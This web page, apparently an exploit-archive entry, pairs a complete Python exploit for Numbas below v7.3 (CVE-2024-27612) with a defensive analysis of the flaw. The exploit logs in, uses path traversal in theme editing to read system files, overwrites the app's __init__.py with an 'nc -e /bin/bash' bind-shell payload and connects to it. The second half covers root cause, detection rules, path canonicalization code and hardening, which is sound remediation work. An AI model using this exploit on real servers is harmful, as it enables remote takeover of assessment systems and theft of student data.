Numbas < v7.3 - Remote Code Execution

Exploit Author: Matheus Alexandre Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-10
# Exploit Title: Numbas < v7.3 - Remote Code Execution
# Google Dork: N/A
# Date: March 7th, 2024
# Exploit Author: Matheus Boschetti
# Vendor Homepage: https://www.numbas.org.uk/
# Software Link: https://github.com/numbas/Numbas
# Version: 7.2 and below
# Tested on: Linux
# CVE: CVE-2024-27612

import sys, requests, re, argparse, subprocess, time
from bs4 import BeautifulSoup

s = requests.session()

def getCSRF(target):
    url = f"http://{target}/"
    req = s.get(url)
    soup = BeautifulSoup(req.text, 'html.parser')
    csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
    return csrfmiddlewaretoken

def createTheme(target):
    # Format request
    csrfmiddlewaretoken = getCSRF(target)
    theme = 'ExampleTheme'
    boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'
    data = (
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'
        '\r\n'
        f'{csrfmiddlewaretoken}\r\n'
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="name"\r\n'
        '\r\n'
        f'{theme}\r\n'
        f'--{boundary}--\r\n'
    )
    headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',
               'User-Agent': 'Mozilla/5.0',
               'Accept': '*/*',
               'Connection': 'close'}

    # Create theme and return its ID
    req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)
    redir = req.url
    split = redir.split('/')
    id = split[4]
    print(f"\t[i] Theme created with ID {id}")
    return id

def login(target, user, passwd):
    print("\n[i] Attempting to login...")

    csrfmiddlewaretoken = getCSRF(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'username': user,
            'password': passwd,
            'next': '/'}
    
    # Login
    login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)
    res = login.text
    if("Logged in as" not in res):
        print("\n\n[!] Login failed!")
        sys.exit(-1)

    # Check if logged and fetch ID
    usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)
    if usermatch:
        user = usermatch.group(1)
        idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)
        if idmatch:
            id = idmatch.group(1)
            print(f"\t[+] Logged in as \"{user}\" with ID {id}")

def checkVuln(url):
    print("[i] Checking if target is vulnerable...")

    # Attempt to read files
    themeID = createTheme(url)
    target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."
    hname = s.get(f"{target}/etc/hostname")
    ver = s.get(f"{target}/etc/issue")
    hnamesoup = BeautifulSoup(hname.text, 'html.parser')
    versoup = BeautifulSoup(ver.text, 'html.parser')
    hostname = hnamesoup.find('textarea').get_text().strip()
    version = versoup.find('textarea').get_text().strip()
    if len(hostname) < 1:
        print("\n\n[!] Something went wrong - target might not be vulnerable.")
        sys.exit(-1)
    print(f"\n[+] Target \"{hostname}\" is vulnerable!")
    print(f"\t[i] Running: \"{version}\"")

    # Cleanup - delete theme
    print(f"\t\t[i] Cleanup: deleting theme {themeID}...")
    target = f"http://{url}/themes/{themeID}/delete"
    csrfmiddlewaretoken = getCSRF(url)
    data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}
    s.post(target, data=data)


def replaceInit(target):
    # Overwrite __init__.py with arbitrary code
    rport = '8443'
    payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"
    csrfmiddlewaretoken = getCSRF(target)
    filename = '../../../../numbas_editor/numbas/__init__.py'
    themeID = createTheme(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'source': payload,
            'filename': filename}

    print("[i] Delivering payload...")
    # Retry 5 times in case something goes wrong...
    for attempt in range(5):
        try:
            s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)
        except Exception as e:
            pass
    
    # Establish connection to bind shell
    time.sleep(2)
    print(f"\t[+] Payload delivered, establishing connection...\n")
    if ":" in target:
        split = target.split(":")
        ip = split[0]
    else:
        ip = str(target)
    subprocess.Popen(["nc", "-n", ip, rport])
    while True:
        pass


def main():
    parser = argparse.ArgumentParser()
    if len(sys.argv) <= 1:
        print("\n[!] No option provided!")
        print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")
        print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")
        sys.exit(-1)

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')
    parser.add_argument('--target', help='Target IP:PORT')
    parser.add_argument('--user', help='Username to authenticate')
    parser.add_argument('--passwd', help='Password to authenticate')
    args = parser.parse_args()
    action = args.action
    target = args.target
    user = args.user
    passwd = args.passwd

    print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")
    
    if action == 'check':
        login(target, user, passwd)
        checkVuln(target)
    elif action == 'exploit':
        login(target, user, passwd)
        replaceInit(target)
    else:
        sys.exit(-1)


if __name__ == "__main__":
    main()


Numbas < v7.3 — Remote Code Execution (CVE-2024-27612): Technical Overview, Impact, and Remediation

Numbas is an open-source e-assessment system commonly used for mathematics and STEM tests. In early 2024 a critical vulnerability affecting Numbas versions prior to 7.3 was disclosed (CVE-2024-27612). The vulnerability can lead to remote code execution (RCE) by abusing functionality that accepts and stores theme source files. This article explains the root cause, impact, safe detection strategies, mitigation and hardening guidance, and secure coding patterns to prevent similar issues.

Executive summary

  • Vulnerability type: Directory traversal combined with unsafe file write → potential remote code execution.
  • Affected versions: Numbas versions prior to 7.3 (7.2 and earlier as reported by the vendor).
  • CVE: CVE-2024-27612.
  • Primary risk: An authenticated user who can upload/modify theme source could write to arbitrary files inside the application tree (including Python modules), leading to code execution.
  • Mitigation: Upgrade to Numbas 7.3 or later; apply server-side validation and least-privilege runtime policies; harden deployments with network segmentation and WAF rules.

Root cause — what went wrong

The vulnerability arises when user-supplied filenames used for theme source or similar file operations are not properly validated or canonicalized. When an application takes a filename from an HTTP parameter and writes the supplied content to disk without enforcing an allowlist or verifying that the resolved path is within an intended directory, attackers can use directory traversal sequences (../) or absolute paths to escape the allowed directory and overwrite files elsewhere in the filesystem. If the overwritten file is a Python module referenced by the running process, this can lead to remote code execution.

Why RCE is possible

  • Write access to code files (for example, project modules under the app package) lets an attacker inject code that will be executed by the application or on restart.
  • If the application process imports the modified module or if a restart is triggered, arbitrary code executes with the privileges of the application process.
  • In deployments where the web app runs with excessive privileges (e.g., root), the impact is magnified.

Impact and risk scenarios

  • Full compromise of the Numbas server and lateral movement within the hosting environment.
  • Data exfiltration (student data, assessment content, credentials stored on the host).
  • Supply-chain compromise if an attacker modifies modules to persist or propagate.
  • Undetected backdoors if attackers modify code to survive restarts.

Safe detection and non-exploitative checks

Do not attempt to exploit file-write functionality on systems you do not own or operate. Instead use passive and non-destructive checks:

  • Verify the installed Numbas version through the application admin UI or package metadata; any version < 7.3 should be treated as potentially vulnerable.
  • Audit application source and change logs for the vendor-supplied fix or backported patch.
  • Scan logs for suspicious POST requests to theme-management endpoints, unusually long payloads, or attempts to provide filenames containing ../ or leading slashes.
  • Search file system and repository history for unexpected file modifications, especially in Python package files within the application tree.

Indicators of compromise (IoC)

  • HTTP requests that include filename parameters with ../ sequences or absolute paths.
  • Newly modified or unexpected .py files in the application tree (check timestamps and git history).
  • Unexpected outbound network connections from the application process (reverse shells or callbacks).
  • Unusual process launches or cron jobs pointing at modified code.

Immediate mitigations (short-term)

  • Restrict access to the Numbas admin/theme functionality only to trusted administrators via network controls (VPN, firewall rules, IP allowlisting).
  • Apply a Web Application Firewall (WAF) rule to block requests containing directory traversal patterns (../) in filename parameters; also block requests attempting to write known code file paths.
  • Run the application under a dedicated, unprivileged service account with minimal filesystem permissions; the service account should not own or be able to write application code directories.
  • Enable file integrity monitoring for critical code directories (Tripwire, OSSEC, auditd, inotify-based watchers) and alert on changes to .py files.

Patching and long-term remediation

  • Upgrade to Numbas v7.3 or later. The vendor has released a patched version to address the vulnerability.
  • Review deployment procedures so code directories are immutable for the runtime user (deploy code as read-only in production where possible).
  • Implement secure coding patterns (see examples below) to validate and canonicalize file paths and to enforce allowlists of writable locations.
  • Adopt continuous monitoring and regular vulnerability scanning for web applications and their dependencies.

Secure coding patterns — canonicalize and enforce an allowlist

Below is a safe, illustrative Python example that demonstrates how to canonicalize a requested filename and enforce that the resolved path is inside an intended directory. This pattern prevents directory traversal by checking the resolved target path against the base directory.

from pathlib import Path

def resolve_within_base(base_dir: str, filename: str) -> Path:
    """
    Resolve filename relative to base_dir and ensure the final path
    is inside base_dir. Raise ValueError if filename attempts
    to escape or if filename is absolute.
    """
    base = Path(base_dir).resolve()
    # Reject absolute filenames up-front
    if Path(filename).is_absolute():
        raise ValueError("Absolute paths not allowed")
    # Build candidate path and resolve symlinks / .. components
    candidate = (base / filename).resolve()
    # Ensure candidate is within the base directory
    if base not in candidate.parents and candidate != base:
        raise ValueError("Attempted directory traversal")
    return candidate

Explanation: This function resolves the requested filename against a safe base directory and uses Path.resolve() to eliminate symbolic links and canonicalize any ../ sequences. It rejects absolute paths and raises an error if the resolved path does not lie inside base_dir. Use this function to determine the safe write path before writing any user-provided content to disk.

Django-focused example: validate filename and restrict to theme storage

If your application uses Django, it is better to use framework utilities and explicit logic that returns clear errors for invalid inputs.

from pathlib import Path
from django.core.exceptions import SuspiciousOperation
from django.conf import settings

ALLOWED_THEME_DIR = Path(settings.BASE_DIR) / "themes_storage"

def safe_theme_path(filename: str) -> Path:
    # Basic deny for obvious bad input
    if ".." in filename or filename.startswith(("/", "\\")):
        raise SuspiciousOperation("Invalid filename")
    target = resolve_within_base(ALLOWED_THEME_DIR, filename)
    return target

Explanation: This snippet combines a simple quick check (rejecting obvious patterns) with the canonicalization helper resolve_within_base(). For Django apps, raising SuspiciousOperation or returning a 400 response alerts the framework and administrators to invalid input without performing dangerous writes.

Why input validation alone is not enough

Input validation is necessary but not sufficient. Use defense-in-depth:

  • Runtime least privilege — the application process should not have write access to code directories.
  • Network segmentation — administrative endpoints should not be reachable from the public internet.
  • Application logging and alerting — write events to immutable logs and monitor them.
  • Regular code and dependency updates — keep upstream patches applied quickly.

Recommended deployment hardening checklist

Area Recommendation
Upgrade Install Numbas v7.3+ or apply vendor-released patch immediately
Access Control Restrict theme/admin endpoints to trusted IPs or VPN-only networks
Filesystem Run web app as unprivileged user; make code directories read-only for runtime user
WAF/Filtering Block directory traversal patterns and high-risk write requests
Monitoring Monitor file changes, process anomalies, and outgoing connections
Code Use canonicalization, allowlists, and safe file APIs when handling filenames

Log signatures and alerting rules (example)

Create detection rules that match suspicious attempts to write or edit theme sources. Example high-level conditions (for SIEM/WAF):

  • HTTP POST to theme-edit endpoints with parameters containing "../" or "%2e%2e".
  • Requests that include filenames ending with .py, .sh, .pl, or other executable extensions.
  • Unexpected increases in writes to application directories from the web process user.

Responding to a suspected compromise

  • Isolate the host from the network and preserve logs and disk images for analysis.
  • Collect process listings, active network connections, and recent modification timestamps for critical files.
  • Rebuild the host from known-good images after ensuring the root cause has been fixed and credentials rotated.
  • Perform a full audit of credentials, API keys, and other secrets that may have been exposed.

References and further reading

  • Numbas project: https://www.numbas.org.uk/ and upstream repository on GitHub (review vendor advisories and release notes).
  • CVE database entry: CVE-2024-27612 (check vendor or NVD for official write-up and fixed-versions).
  • OWASP guidelines — Path Traversal and Secure File Upload patterns.

Conclusion

CVE-2024-27612 is a reminder that file-handling endpoints are high-risk attack surfaces. The safest course of action is to upgrade to the patched upstream release (Numbas 7.3+) and apply defense-in-depth measures: canonicalize and validate paths, run services with least privilege, restrict admin access, monitor file integrity, and deploy WAF protections. Secure coding patterns such as the canonicalization examples above will prevent directory traversal and reduce the chance of arbitrary file overwrite leading to RCE.